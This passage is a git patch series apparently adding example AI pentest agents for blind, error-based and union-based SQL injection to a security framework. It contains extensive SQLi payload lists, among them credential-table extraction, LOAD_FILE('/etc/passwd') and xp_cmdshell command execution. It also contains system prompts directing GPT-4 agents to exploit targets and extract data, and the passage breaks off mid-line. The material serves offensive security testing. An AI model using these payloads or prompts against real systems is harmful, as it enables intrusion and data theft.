file containing SQLi findings") + parser.add_argument("--debug", action="store_true", help="Debug mode") + + args = parser.parse_args() + + with dn.run("blind-sqli-hunt"): + console.print("Starting BLIND SQL injection analysis...") + + try: + with open(args.finding_file) as f: + findings = json.load(f) + + if not isinstance(findings, list): + findings = [findings] + + confirmed_count = 0 + time_based_count = 0 + boolean_based_count = 0 + + for finding in findings: + analysis_result = await analyze_blind_sqli(finding) + + if analysis_result["has_sqli"]: + confirmed_count += 1 + techniques = analysis_result["techniques"] + console.print(f"[+] BLIND SQLi CONFIRMED: {analysis_result['host']}") + console.print(f" Techniques: {', '.join(techniques)}") + + if "time-based" in techniques: + time_based_count += 1 + if "boolean-based" in techniques: + boolean_based_count += 1 + else: + console.print(f"[-] No blind SQLi: {finding.get('data', {}).get('host')}") + + dn.log_metric("total_blind_sqli_confirmed", confirmed_count) + dn.log_metric("time_based_confirmed", time_based_count) + dn.log_metric("boolean_based_confirmed", boolean_based_count) + + console.print(f"\nBlind SQLi Summary:") + console.print(f" Total confirmed: {confirmed_count}") + console.print(f" Time-based: {time_based_count}") + console.print(f" Boolean-based: {boolean_based_count}") + + except Exception as e: + console.print(f"Error: {e}") + +if __name__ == "__main__": + asyncio.run(main()) \ No newline at end of file diff --git a/examples/agents/error_based_sqli/agent.py b/examples/agents/error_based_sqli/agent.py new file mode 100644 index 00000000..30b4842f --- /dev/null +++ b/examples/agents/error_based_sqli/agent.py @@ -0,0 +1,299 @@ +import argparse +import asyncio +import json +import typing as t +from pathlib import Path + +from rich.console import Console + +import dreadnode as dn +from dreadnode.agent.agent import Agent +from dreadnode.agent.result import AgentResult +from dreadnode.agent.tools.bbot.tool import BBotTool +from dreadnode.agent.tools.kali.tool import KaliTool +from dreadnode.agent.tools.neo4j.tool import Neo4jTool + +dn.configure(server=None, token=None, project="error-based-sqli-agent", console=False) + +console = Console() + +# Error-based SQLi focused payloads +ERROR_BASED_PAYLOADS = [ + # Basic error triggers + "'", "\"", "'))", "')", "\")", + + # MySQL error-based + "' AND (SELECT * FROM (SELECT COUNT(*),CONCAT(0x7e,VERSION(),0x7e,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--", + "' AND EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e))--", + "' AND ROW(1,1)>(SELECT COUNT(*),CONCAT(0x7e,DATABASE(),0x7e,FLOOR(RAND()*2))x FROM(SELECT 1 UNION SELECT 2)a GROUP BY x LIMIT 1)--", + + # PostgreSQL error-based + "' AND CAST(VERSION() AS INT)--", + "' AND 1::text LIKE 1--", + "' AND (SELECT * FROM GENERATE_SERIES(1,1000))--", + + # MSSQL error-based + "' AND CONVERT(INT,@@VERSION)--", + "' AND CAST(@@version AS INT)--", + "'; EXEC xp_cmdshell('whoami')--", + + # Oracle error-based + "' AND UPPER(XMLType(CHR(60)||CHR(58)||(SELECT user FROM dual)||CHR(62))) IS NOT NULL--", + "' AND EXTRACTVALUE(XMLType(''||(SELECT banner FROM v$version WHERE rownum=1)||''),'/root') IS NOT NULL--", + + # XML/XPATH errors + "' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT @@version),0x7e))--", + "' AND UPDATEXML(1,CONCAT(0x7e,(SELECT @@version),0x7e),1)--", +] + +# Database error patterns for detection +ERROR_PATTERNS = { + 'mysql': [ + 'mysql_fetch_array()', + 'mysql_num_rows()', + 'you have an error in your sql syntax', + 'warning: mysql', + 'function.mysql', + 'mysql result index', + 'mysql error', + 'mysql_query()', + 'num_rows', + 'mysql_error', + 'supplied argument is not a valid mysql', + 'column count doesn\'t match value count at row', + 'mysql server version for the right syntax to use', + 'operand should contain 1 column()', + ], + 'postgresql': [ + 'postgresql query failed', + 'warning: pg_', + 'valid postgresql result', + 'npgsql', + 'pg_query()', + 'pg_exec()', + 'function.pg', + 'postgresql result index', + 'pg_result', + 'pg_exec() expects', + 'query failed: error: column', + 'pg_num_rows()', + 'query failed: error: relation', + 'pgsql', + 'supplied argument is not a valid pgsql', + 'unterminated quoted string at or near', + ], + 'mssql': [ + 'driver.*sql server', + 'ole db.*sql server', + 'microsoft sql server', + 'sqlserver', + 'mssql', + 'sql server', + 'microsoft.jet.oledb', + 'microsoft ole db provider', + 'unclosed quotation mark after the character string', + 'incorrect syntax near', + 'system.data.oledb.oledbexception', + 'system.data.sqlclient.sqlexception', + 'microsoft.jet', + 'odbc.*sql server', + 'sqloledb', + 'convert.*varchar.*int', + ], + 'oracle': [ + 'oci_parse', + 'oci_execute', + 'oracle.exe', + 'oracle driver', + 'warning: oci_', + 'warning: ora_', + 'ora-[0-9]+', + 'oracle error', + 'oracle.*driver', + 'function.oci', + 'quoted string not properly terminated', + 'sql command not properly ended', + 'missing expression', + 'invalid number', + 'ora-00933', + 'ora-00921', + 'ora-00936', + ] +} + +@dn.task(name="Error-Based SQLi Analysis", label="analyze_error_sqli") +async def analyze_error_based_sqli(finding_data: dict[str, t.Any]) -> dict[str, t.Any]: + """Analyze a finding specifically for error-based SQL injection.""" + agent = create_error_based_sqli_agent() + + url = finding_data.get('data', {}).get('url', '') + host = finding_data.get('data', {}).get('host', '') + description = finding_data.get('data', {}).get('description', '') + + param_name = extract_param_name(description) + original_value = extract_original_value(description) + + console.print(f"[*] Testing ERROR-BASED SQL injection on {host}") + console.print(f" URL: {url}") + console.print(f" Parameter: {param_name}") + + # Build focused prompt with error-based context + prompt = f"""Target: {url} +Parameter: {param_name} +Original Value: {original_value} + +MISSION: Test this parameter specifically for ERROR-BASED SQL injection vulnerabilities. + +METHODOLOGY: +1. Start with basic error triggers: single quotes, double quotes +2. Progress to database-specific error-based payloads +3. Analyze error messages for database type identification +4. Attempt data extraction via error messages +5. Log findings with specific error patterns detected + +Focus ONLY on error-based techniques. Look for verbose error messages that leak information about the database structure, version, or data. + +Use your HTTP tools to test the payloads systematically and analyze response differences.""" + + result = await agent.run(prompt) + + # Process results with error-based specific logic + has_error_sqli = analyze_error_responses(result) + db_type = detect_database_type(result) + + dn.log_metric("error_based_sqli_found", 1 if has_error_sqli else 0) + dn.log_metric("database_type_detected", 1 if db_type else 0) + + return { + "url": url, + "host": host, + "parameter": param_name, + "vulnerability_type": "error_based_sqli", + "has_sqli": has_error_sqli, + "database_type": db_type, + "analysis": result.messages[-1].content if result.messages else None, + "detection_method": "error_message_analysis" + } + +def analyze_error_responses(result: AgentResult) -> bool: + """Analyze agent responses for error-based SQLi indicators.""" + if not result.messages: + return False + + content = ' '.join([msg.content for msg in result.messages if msg.content]).lower() + + # Check for error-based SQLi success indicators + success_indicators = [ + 'database error detected', + 'sql syntax error', + 'mysql error message', + 'postgresql error', + 'oracle error', + 'mssql error', + 'version information leaked', + 'database version', + 'table information exposed', + 'column count error', + 'syntax error in sql', + 'error message contains', + 'verbose error' + ] + + return any(indicator in content for indicator in success_indicators) + +def detect_database_type(result: AgentResult) -> str: + """Detect database type from error messages in agent output.""" + if not result.messages: + return "" + + content = ' '.join([msg.content for msg in result.messages if msg.content]).lower() + + # Check patterns for each database type + for db_type, patterns in ERROR_PATTERNS.items(): + if any(pattern.lower() in content for pattern in patterns): + return db_type + + return "" + +def create_error_based_sqli_agent() -> Agent: + """Create an error-based SQL injection specialist agent.""" + tools = [KaliTool(), BBotTool(), Neo4jTool()] + + error_based_context = """ +ERROR-BASED SQL INJECTION SPECIALIST + +You are an expert focused EXCLUSIVELY on error-based SQL injection techniques. + +Your mission is to trigger verbose database errors that leak information. Start simple and adapt based on what you discover: + +1. Begin with basic error triggers (single quotes, double quotes, parentheses) +2. Analyze error messages to identify the database type and technology stack +3. Based on the database you identify, craft targeted error-based payloads +4. Extract information progressively through error message analysis +5. Document findings and iterate your approach based on responses + +Key principle: Let the application's responses guide your next steps. Each error message tells you something about the backend. + +Use the http_request tool to test payloads systematically. Analyze error patterns and adapt your approach. +""" + + return Agent( + name="error-based-sqli-agent", + description="Specialized agent for error-based SQL injection detection and exploitation", + model="gpt-4-turbo", + tools=tools, + instructions=error_based_context, + ) + +def extract_param_name(description: str) -> str: + """Extract parameter name from BBOT finding description.""" + if "Name: [" in description: + start = description.find("Name: [") + 7 + end = description.find("]", start) + return description[start:end] if end > start else "unknown" + return "unknown" + +def extract_original_value(description: str) -> str: + """Extract original parameter value from BBOT finding description.""" + if "Original Value: [" in description: + start = description.find("Original Value: [") + 17 + end = description.rfind("]") + return description[start:end] if end > start else "" + return "" + +async def main(): + parser = argparse.ArgumentParser(description="Error-based SQL injection specialist") + parser.add_argument("finding_file", type=Path, help="JSON file containing SQLi findings") + parser.add_argument("--debug", action="store_true", help="Debug mode") + + args = parser.parse_args() + + with dn.run("error-based-sqli-hunt"): + console.print("Starting ERROR-BASED SQL injection analysis...") + + try: + with open(args.finding_file) as f: + findings = json.load(f) + + if not isinstance(findings, list): + findings = [findings] + + confirmed_count = 0 + for finding in findings: + analysis_result = await analyze_error_based_sqli(finding) + + if analysis_result["has_sqli"]: + confirmed_count += 1 + console.print(f"[+] ERROR-BASED SQLi CONFIRMED: {analysis_result['host']}") + console.print(f" Database: {analysis_result['database_type']}") + else: + console.print(f"[-] No error-based SQLi: {finding.get('data', {}).get('host')}") + + dn.log_metric("total_error_sqli_confirmed", confirmed_count) + console.print(f"\nError-based SQLi Summary: {confirmed_count} confirmed") + + except Exception as e: + console.print(f"Error: {e}") + +if __name__ == "__main__": + asyncio.run(main()) \ No newline at end of file diff --git a/examples/agents/union_based_sqli/agent.py b/examples/agents/union_based_sqli/agent.py new file mode 100644 index 00000000..310e1fd6 --- /dev/null +++ b/examples/agents/union_based_sqli/agent.py @@ -0,0 +1,336 @@ +import argparse +import asyncio +import json +import time +import typing as t +from pathlib import Path + +from rich.console import Console + +import dreadnode as dn +from dreadnode.agent.agent import Agent +from dreadnode.agent.result import AgentResult +from dreadnode.agent.tools.bbot.tool import BBotTool +from dreadnode.agent.tools.kali.tool import KaliTool +from dreadnode.agent.tools.neo4j.tool import Neo4jTool +from dreadnode.agent.tools.oast.tool import OastTool + +dn.configure(server=None, token=None, project="union-based-sqli-agent", console=False) + +console = Console() + +# Union-based SQLi focused payloads +UNION_COLUMN_DETECTION = [ + # Column counting techniques + "' ORDER BY 1--", + "' ORDER BY 2--", + "' ORDER BY 3--", + "' ORDER BY 4--", + "' ORDER BY 5--", + "' ORDER BY 10--", + "' ORDER BY 20--", + "' ORDER BY 50--", + + # Alternative column counting + "' GROUP BY 1--", + "' GROUP BY 2--", + "' GROUP BY 3--", + "' GROUP BY 4--", + "' GROUP BY 5--", + + # Union null injection + "' UNION SELECT NULL--", + "' UNION SELECT NULL,NULL--", + "' UNION SELECT NULL,NULL,NULL--", + "' UNION SELECT NULL,NULL,NULL,NULL--", + "' UNION SELECT NULL,NULL,NULL,NULL,NULL--", +] + +UNION_DATA_EXTRACTION = [ + # Basic union with version/database info + "' UNION SELECT @@version,NULL,NULL--", + "' UNION SELECT version(),NULL,NULL--", + "' UNION SELECT database(),NULL,NULL--", + "' UNION SELECT user(),NULL,NULL--", + "' UNION SELECT current_user(),NULL,NULL--", + + # Information schema queries + "' UNION SELECT table_name,NULL,NULL FROM information_schema.tables--", + "' UNION SELECT column_name,NULL,NULL FROM information_schema.columns--", + "' UNION SELECT table_name,column_name,NULL FROM information_schema.columns--", + "' UNION SELECT schema_name,NULL,NULL FROM information_schema.schemata--", + + # Common table data extraction + "' UNION SELECT username,password,NULL FROM users--", + "' UNION SELECT login,pass,NULL FROM admin--", + "' UNION SELECT email,password,NULL FROM accounts--", + "' UNION SELECT name,value,NULL FROM config--", + + # File reading (MySQL) + "' UNION SELECT LOAD_FILE('/etc/passwd'),NULL,NULL--", + "' UNION SELECT LOAD_FILE('C:\\windows\\system32\\drivers\\etc\\hosts'),NULL,NULL--", + + # Advanced data extraction + "' UNION SELECT GROUP_CONCAT(table_name),NULL,NULL FROM information_schema.tables WHERE table_schema=database()--", + "' UNION SELECT GROUP_CONCAT(column_name),NULL,NULL FROM information_schema.columns WHERE table_name='users'--", +] + +UNION_ERROR_PATTERNS = [ + # Column count mismatch errors + "the used select statements have a different number of columns", + "column count doesn't match", + "operand should contain 1 column", + "each union query must have the same number of columns", + "number of columns in select list must match", + "column count mismatch", + "different number of expressions", +] + +@dn.task(name="Union-Based SQLi Analysis", label="analyze_union_sqli") +async def analyze_union_based_sqli(finding_data: dict) -> dict: + """Analyze a finding specifically for union-based SQL injection.""" + agent = create_union_based_sqli_agent() + + url = finding_data.get('data', {}).get('url', '') + host = finding_data.get('data', {}).get('host', '') + description = finding_data.get('data', {}).get('description', '') + + param_name = extract_param_name(description) + original_value = extract_original_value(description) + + console.print(f"[*] Testing UNION-BASED SQL injection on {host}") + console.print(f" URL: {url}") + console.print(f" Parameter: {param_name}") + + # Build focused prompt with union-specific context + prompt = f"""Target: {url} +Parameter: {param_name} +Original Value: {original_value} + +MISSION: Test this parameter specifically for UNION-BASED SQL injection vulnerabilities. + +UNION SQLI METHODOLOGY: +1. COLUMN COUNT ENUMERATION: + - Use ORDER BY technique to determine column count + - Start with ORDER BY 1, increment until error + - Alternative: Use GROUP BY for column counting + - Document exact error message when count exceeded + +2. UNION NULL INJECTION: + - Once column count known, test UNION SELECT with NULLs + - Match exact number of columns from enumeration + - Confirm union query executes without errors + - Test data type compatibility + +3. DATA EXTRACTION: + - Replace NULLs with actual data queries + - Extract database version, name, current user + - Query information_schema for tables/columns + - Attempt to extract sensitive data from tables + +4. ADVANCED TECHNIQUES: + - Use GROUP_CONCAT for multiple row results + - Test file reading with LOAD_FILE() (MySQL) + - Try INTO OUTFILE for file writing (if writable) + - Test for privilege escalation opportunities + +Focus ONLY on union-based techniques. Look for successful data extraction via UNION SELECT. + +Test payloads systematically, starting with column enumeration then progressing to data extraction.""" + + result = await agent.run(prompt) + + # Process results with union-specific logic + column_count = extract_column_count(result) + has_union_sqli = analyze_union_responses(result) + extracted_data = extract_union_data(result) + + dn.log_metric("union_sqli_found", 1 if has_union_sqli else 0) + dn.log_metric("column_count_determined", 1 if column_count > 0 else 0) + dn.log_metric("data_extracted", 1 if extracted_data else 0) + + return { + "url": url, + "host": host, + "parameter": param_name, + "vulnerability_type": "union_based_sqli", + "has_sqli": has_union_sqli, + "column_count": column_count, + "extracted_data": extracted_data, + "analysis": result.messages[-1].content if result.messages else None, + "detection_method": "union_select_data_extraction" + } + +def extract_column_count(result: AgentResult) -> int: + """Extract determined column count from agent analysis.""" + if not result.messages: + return 0 + + content = ' '.join([msg.content for msg in result.messages if msg.content]).lower() + + # Look for column count mentions + import re + column_patterns = [ + r'column count is (\d+)', + r'(\d+) columns detected', + r'order by (\d+) successful', + r'union with (\d+) columns', + r'table has (\d+) columns' + ] + + for pattern in column_patterns: + match = re.search(pattern, content) + if match: + return int(match.group(1)) + + return 0 + +def analyze_union_responses(result: AgentResult) -> bool: + """Analyze agent responses for union-based SQLi indicators.""" + if not result.messages: + return False + + content = ' '.join([msg.content for msg in result.messages if msg.content]).lower() + + # Check for union-based SQLi success indicators + union_indicators = [ + 'union select successful', + 'union injection confirmed', + 'column count determined', + 'data extracted via union', + 'union query executed', + 'information_schema accessed', + 'database version extracted', + 'table names retrieved', + 'column names retrieved', + 'union-based injection', + 'successful union query', + 'data enumeration successful', + 'union select results', + 'schema information extracted' + ] + + return any(indicator in content for indicator in union_indicators) + +def extract_union_data(result: AgentResult) -> list: + """Extract any data that was successfully retrieved via union injection.""" + if not result.messages: + return [] + + content = ' '.join([msg.content for msg in result.messages if msg.content]) + extracted = [] + + # Look for common data extraction patterns + if 'database version' in content.lower(): + extracted.append('database_version') + if 'database name' in content.lower(): + extracted.append('database_name') + if 'table names' in content.lower(): + extracted.append('table_names') + if 'column names' in content.lower(): + extracted.append('column_names') + if 'user data' in content.lower() or 'username' in content.lower(): + extracted.append('user_data') + if 'file contents' in content.lower(): + extracted.append('file_contents') + + return extracted + +def create_union_based_sqli_agent() -> Agent: + """Create a union-based SQL injection specialist agent.""" + tools = [KaliTool(), BBotTool(), Neo4jTool()] + + union_sqli_context = """ +UNION-BASED SQL INJECTION SPECIALIST + +You are an expert focused EXCLUSIVELY on union-based SQL injection techniques. + +Your mission is to exploit SQL injection through UNION SELECT statements to directly extract data. + +Follow this adaptive approach: + +1. DISCOVER COLUMN STRUCTURE: Determine how many columns the original query returns +2. VALIDATE UNION COMPATIBILITY: Ensure your UNION queries execute without errors +3. EXTRACT DATA SYSTEMATICALLY: Pull database information, schema details, and actual data +4. ADAPT TO CONSTRAINTS: Work around filtering, data type mismatches, and other obstacles + +The key insight: union-based injection gives you direct data access. Start simple and build complexity based on what works. + +Each application will behave differently. Some block certain keywords, others have data type restrictions, others limit result lengths. Adapt your approach based on the responses you receive. + +Use the http_request tool to test union payloads systematically. Let the application responses guide your technique selection. +""" + + return Agent( + name="union-based-sqli-agent", + description="Specialized agent for union-based SQL injection detection and exploitation", + model="gpt-4-turbo", + tools=tools, + instructions=union_sqli_context, + ) + +def extract_param_name(description: str) -> str: + """Extract parameter name from BBOT finding description.""" + if "Name: [" in description: + start = description.find("Name: [") + 7 + end = description.find("]", start) + return description[start:end] if end > start else "unknown" + return "unknown" + +def extract_original_value(description: str) -> str: + """Extract original parameter value from BBOT finding description.""" + if "Original Value: [" in description: + start = description.find("Original Value: [") + 17 + end = description.rfind("]") + return description[start:end] if end > start else "" + return "" + +async def main(): + parser = argparse.ArgumentParser(description="Union-based SQL injection specialist") + parser.add_argument("finding_file", type=Path, help="JSON file containing SQLi findings") + parser.add_argument("--debug", action="store_true", help="Debug mode") + + args = parser.parse_args() + + with dn.run("union-based-sqli-hunt"): + console.print("Starting UNION-BASED SQL injection analysis...") + + try: + with open(args.finding_file) as f: + findings = json.load(f) + + if not isinstance(findings, list): + findings = [findings] + + confirmed_count = 0 + data_extracted_count = 0 + + for finding in findings: + analysis_result = await analyze_union_based_sqli(finding) + + if analysis_result["has_sqli"]: + confirmed_count += 1 + column_count = analysis_result["column_count"] + extracted_data = analysis_result["extracted_data"] + + console.print(f"[+] UNION-BASED SQLi CONFIRMED: {analysis_result['host']}") + console.print(f" Column count: {column_count}") + console.print(f" Data extracted: {', '.join(extracted_data) if extracted_data else 'None'}") + + if extracted_data: + data_extracted_count += 1 + else: + console.print(f"[-] No union-based SQLi: {finding.get('data', {}).get('host')}") + + dn.log_metric("total_union_sqli_confirmed", confirmed_count) + dn.log_metric("successful_data_extraction", data_extracted_count) + + console.print(f"\nUnion-based SQLi Summary:") + console.print(f" Total confirmed: {confirmed_count}") + console.print(f" Successful data extraction: {data_extracted_count}") + + except Exception as e: + console.print(f"Error: {e}") + +if __name__ == "__main__": + asyncio.run(main()) \ No newline at end of file From ca23433432ad09f6fc24e66dd5e002e0c4a86c64 Mon Sep 17 00:00:00 2001 From: Ads Dawson <104169244+GangGreenTemperTatum@users.noreply.github.com> Date: Fri, 5 Sep 2025 14:41:59 -0400 Subject: [PATCH 58/60] fix: all agents react to is_sqli_finding(event) --- examples/agents/blind_sqli/agent.py | 403 ++++++++++--------- examples/agents/error_based_sqli/agent.py | 418 ++++++++++---------- examples/agents/union_based_sqli/agent.py | 447 ++++++++++------------ 3 files changed, 603 insertions(+), 665 deletions(-) diff --git a/examples/agents/blind_sqli/agent.py b/examples/agents/blind_sqli/agent.py index 69f0209b..ea349557 100644 --- a/examples/agents/blind_sqli/agent.py +++ b/examples/agents/blind_sqli/agent.py @@ -13,193 +13,90 @@ from dreadnode.agent.tools.bbot.tool import BBotTool from dreadnode.agent.tools.kali.tool import KaliTool from dreadnode.agent.tools.neo4j.tool import Neo4jTool -from dreadnode.agent.tools.oast.tool import OastTool dn.configure(server=None, token=None, project="blind-sqli-agent", console=False) console = Console() -# Blind SQLi focused payloads -TIME_BASED_PAYLOADS = [ - # MySQL time-based - "' AND SLEEP(5)--", - "' AND (SELECT SLEEP(5))--", - "' AND IF(1=1,SLEEP(5),0)--", - "' OR SLEEP(5)--", - "'; WAITFOR DELAY '00:00:05'--", - - # PostgreSQL time-based - "'; SELECT pg_sleep(5)--", - "' AND 1=(SELECT pg_sleep(5))--", - "' OR pg_sleep(5) IS NULL--", - - # MSSQL time-based - "'; WAITFOR DELAY '0:0:5'--", - "' AND 1=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7,sysusers AS sys8)--", - - # Oracle time-based - "' AND DBMS_LOCK.SLEEP(5) IS NULL--", - "' AND 1=(SELECT COUNT(*) FROM all_users t1,all_users t2,all_users t3,all_users t4,all_users t5)--", - - # Generic heavy queries - "' AND (SELECT COUNT(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C)>0--", -] - -BOOLEAN_BASED_PAYLOADS = [ - # Basic boolean tests - "' AND 1=1--", - "' AND 1=2--", - "' OR 1=1--", - "' OR 1=2--", - - # Substring/length tests for data extraction - "' AND LENGTH(DATABASE())>0--", - "' AND LENGTH(DATABASE())=8--", - "' AND SUBSTRING(DATABASE(),1,1)='a'--", - "' AND ASCII(SUBSTRING(DATABASE(),1,1))>97--", - - # Version detection - "' AND @@version LIKE '%MySQL%'--", - "' AND version() LIKE '%PostgreSQL%'--", - "' AND @@version LIKE '%Microsoft%'--", - - # Table existence tests - "' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_name='users')>0--", - "' AND EXISTS(SELECT * FROM information_schema.tables WHERE table_name='admin')--", -] - -@dn.task(name="Blind SQLi Analysis", label="analyze_blind_sqli") -async def analyze_blind_sqli(finding_data: dict) -> dict: - """Analyze a finding specifically for blind SQL injection.""" - agent = create_blind_sqli_agent() +@dn.task(name="Analyze Blind SQLi Finding", label="analyze_blind_sqli_finding") +async def analyze_sqli_finding(finding_data: dict[str, t.Any]) -> dict[str, t.Any]: + """Analyze a BBOT SQL injection finding for blind exploitability.""" + sqli_agent = create_sqli_agent() url = finding_data.get('data', {}).get('url', '') host = finding_data.get('data', {}).get('host', '') description = finding_data.get('data', {}).get('description', '') param_name = extract_param_name(description) + param_type = extract_param_type(description) original_value = extract_original_value(description) - console.print(f"[*] Testing BLIND SQL injection on {host}") - console.print(f" URL: {url}") - console.print(f" Parameter: {param_name}") - - # Build focused prompt with blind-specific context - prompt = f"""Target: {url} -Parameter: {param_name} -Original Value: {original_value} - -MISSION: Test this parameter specifically for BLIND SQL injection vulnerabilities. - -BLIND SQLI METHODOLOGY: -1. TIME-BASED DETECTION: - - Test SLEEP/WAITFOR DELAY payloads - - Measure response times carefully - - Confirm delays are consistent with payload timing - - Rule out network latency issues - -2. BOOLEAN-BASED DETECTION: - - Test true/false conditions (1=1 vs 1=2) - - Compare response lengths, status codes, content - - Look for subtle differences in responses - - Identify application behavior patterns - -3. DATA EXTRACTION (if blind SQLi confirmed): - - Use substring/length functions for enumeration - - Extract database name, version, tables - - Character-by-character data extraction - - Binary search optimization for efficiency + result = await sqli_agent.run( + f"Analyze the potential SQL injection vulnerability at {url} using parameter '{param_name}'. " + f"The original parameter value was: {original_value}\n\n" + f"Focus on BLIND SQL injection techniques. Test for timing attacks and response analysis. " + f"Start with baseline establishment and adapt based on response patterns you observe." + ) -Focus ONLY on blind techniques. No error messages expected - rely on timing and response analysis. + tool_outputs = {} + tools_used = [] + + for message in result.messages: + if message.role == "assistant" and message.tool_calls: + for tool_call in message.tool_calls: + tool_name = tool_call.function.name + tools_used.append(tool_name) + elif message.role == "tool": + tool_name = getattr(message, "name", "unknown") + tool_outputs[tool_name] = message.content -Test payloads systematically and document timing/response differences precisely.""" + finding_stored = "store_sqli_finding" in tools_used + has_sqli = finding_stored + if result.messages and result.messages[-1].content: + has_sqli = has_sqli or any( + phrase in result.messages[-1].content.lower() + for phrase in [ + "blind injection confirmed", + "time-based injection", + "boolean-based injection", + "timing difference detected", + "response delay confirmed", + "sleep delay detected", + "conditional response", + "blind sqli confirmed", + ] + ) - result = await agent.run(prompt) - - # Process results with blind-specific logic - has_time_based = analyze_timing_responses(result) - has_boolean_based = analyze_boolean_responses(result) - has_blind_sqli = has_time_based or has_boolean_based - - technique = [] - if has_time_based: - technique.append("time-based") - if has_boolean_based: - technique.append("boolean-based") - - dn.log_metric("blind_sqli_found", 1 if has_blind_sqli else 0) - dn.log_metric("time_based_sqli", 1 if has_time_based else 0) - dn.log_metric("boolean_based_sqli", 1 if has_boolean_based else 0) + dn.log_metric("tools_used", len(tools_used)) + dn.log_metric("has_blind_sqli", 1 if has_sqli else 0) + dn.log_metric("stored_in_db", 1 if finding_stored else 0) - return { + analysis_result = { "url": url, "host": host, "parameter": param_name, - "vulnerability_type": "blind_sqli", - "has_sqli": has_blind_sqli, - "techniques": technique, + "param_type": param_type, + "tools_used": tools_used, + "tool_outputs": tool_outputs, "analysis": result.messages[-1].content if result.messages else None, - "detection_method": "timing_and_response_analysis" + "steps": result.steps, + "has_sqli": has_sqli, + "stored_in_db": finding_stored, + "original_finding": finding_data } -def analyze_timing_responses(result: AgentResult) -> bool: - """Analyze agent responses for time-based blind SQLi indicators.""" - if not result.messages: - return False - - content = ' '.join([msg.content for msg in result.messages if msg.content]).lower() - - # Check for time-based SQLi success indicators - timing_indicators = [ - 'sleep delay detected', - 'response time increased', - 'timing difference', - 'delay confirmed', - 'waitfor delay success', - 'pg_sleep detected', - 'dbms_lock.sleep', - 'consistent delay', - 'timing attack successful', - 'time-based injection', - 'response delayed by', - 'sleep function executed' - ] - - return any(indicator in content for indicator in timing_indicators) - -def analyze_boolean_responses(result: AgentResult) -> bool: - """Analyze agent responses for boolean-based blind SQLi indicators.""" - if not result.messages: - return False - - content = ' '.join([msg.content for msg in result.messages if msg.content]).lower() - - # Check for boolean-based SQLi success indicators - boolean_indicators = [ - 'true condition response', - 'false condition response', - 'response length difference', - 'content difference detected', - 'boolean injection confirmed', - 'conditional response', - 'true/false comparison', - 'response pattern difference', - 'boolean-based injection', - 'condition evaluation', - 'differential response', - 'logical condition test' - ] - - return any(indicator in content for indicator in boolean_indicators) + return analysis_result -def create_blind_sqli_agent() -> Agent: - """Create a blind SQL injection specialist agent.""" - tools = [KaliTool(), BBotTool(), Neo4jTool()] - - blind_sqli_context = """ -BLIND SQL INJECTION SPECIALIST +def create_sqli_agent() -> Agent: + """Create a blind SQL injection analysis agent.""" + tools = [BBotTool(), KaliTool(), Neo4jTool()] -You are an expert focused EXCLUSIVELY on blind SQL injection techniques. + return Agent( + name="blind-sqli-agent", + description="An agent that analyzes and exploits blind SQL injection vulnerabilities", + model="gpt-4-turbo", + tools=tools, + instructions="""You are an expert at analyzing and exploiting blind SQL injection vulnerabilities. Your mission is to detect and exploit SQL injection through timing and response analysis - no error messages expected. @@ -212,17 +109,9 @@ def create_blind_sqli_agent() -> Agent: Adapt your techniques based on the application's behavior. Some applications respond to timing attacks, others to content-length differences, others to subtle page changes. -The key is methodical testing and careful response analysis. Let the application tell you what works. - Use the http_request tool systematically. Document timing patterns and response variations precisely. -""" - return Agent( - name="blind-sqli-agent", - description="Specialized agent for blind SQL injection detection and exploitation", - model="gpt-4-turbo", - tools=tools, - instructions=blind_sqli_context, +If you confirm blind SQL injection exists, use store_sqli_finding to record the vulnerability.""", ) def extract_param_name(description: str) -> str: @@ -233,6 +122,14 @@ def extract_param_name(description: str) -> str: return description[start:end] if end > start else "unknown" return "unknown" +def extract_param_type(description: str) -> str: + """Extract parameter type from BBOT finding description.""" + if "Parameter Type: [" in description: + start = description.find("Parameter Type: [") + 17 + end = description.find("]", start) + return description[start:end] if end > start else "unknown" + return "unknown" + def extract_original_value(description: str) -> str: """Extract original parameter value from BBOT finding description.""" if "Original Value: [" in description: @@ -241,54 +138,152 @@ def extract_original_value(description: str) -> str: return description[start:end] if end > start else "" return "" -async def main(): - parser = argparse.ArgumentParser(description="Blind SQL injection specialist") - parser.add_argument("finding_file", type=Path, help="JSON file containing SQLi findings") - parser.add_argument("--debug", action="store_true", help="Debug mode") +def is_sqli_finding(event: dict[str, t.Any]) -> bool: + """Check if a BBOT event is a SQL injection finding.""" + if event.get('type') != 'FINDING': + return False - args = parser.parse_args() + description = event.get('data', {}).get('description', '') + return 'SQL Injection' in description + +async def hunt_from_bbot_scan( + targets: Path | None = None, + presets: list[str] | None = None, + modules: list[str] | None = None, + flags: list[str] | None = None, + config: Path | dict[str, t.Any] | None = None, +) -> None: + """Hunt for blind SQL injection vulnerabilities from BBOT scan findings.""" + if isinstance(targets, Path): + with targets.open() as f: + targets = [line.strip() for line in f.readlines() if line.strip()] + + if not targets: + console.print("Error: No targets provided.") + return + with dn.run("blind-sqli-hunt"): - console.print("Starting BLIND SQL injection analysis...") + dn.log_params( + target_count=len(targets), + presets=presets or [], + modules=modules or [], + flags=flags or [], + ) + + console.print(f"Starting blind SQL injection hunt on {len(targets)} targets...") + + sqli_findings_count = 0 + total_findings = 0 + + tool = BBotTool() + scan_modules = modules or ["httpx", "excavate", "hunt"] + + for target in targets: + try: + scan_config = config or {"omit_event_types": []} + + events = tool.run( + target=target, + presets=presets, + modules=scan_modules, + flags=flags, + config=scan_config, + ) + + async for event in events: + if is_sqli_finding(event): + total_findings += 1 + + try: + analysis_result = await analyze_sqli_finding(event) + + if analysis_result["has_sqli"]: + sqli_findings_count += 1 + + security_finding = { + "url": analysis_result["url"], + "host": analysis_result["host"], + "parameter": analysis_result["parameter"], + "finding_type": "blind_sqli", + "risk_level": "high", + "analysis": analysis_result["analysis"], + "tool_outputs": analysis_result["tool_outputs"], + "timestamp": time.time(), + "stored_in_db": analysis_result["stored_in_db"], + } + + dn.log_output(f"blind_sqli_finding_{analysis_result['host']}", security_finding) + console.print(f"Blind SQL injection confirmed on {analysis_result['host']}") + else: + console.print(f"Blind SQL injection not exploitable on {event.get('host')}") + + except Exception as e: + console.print(f"Error analyzing SQL injection 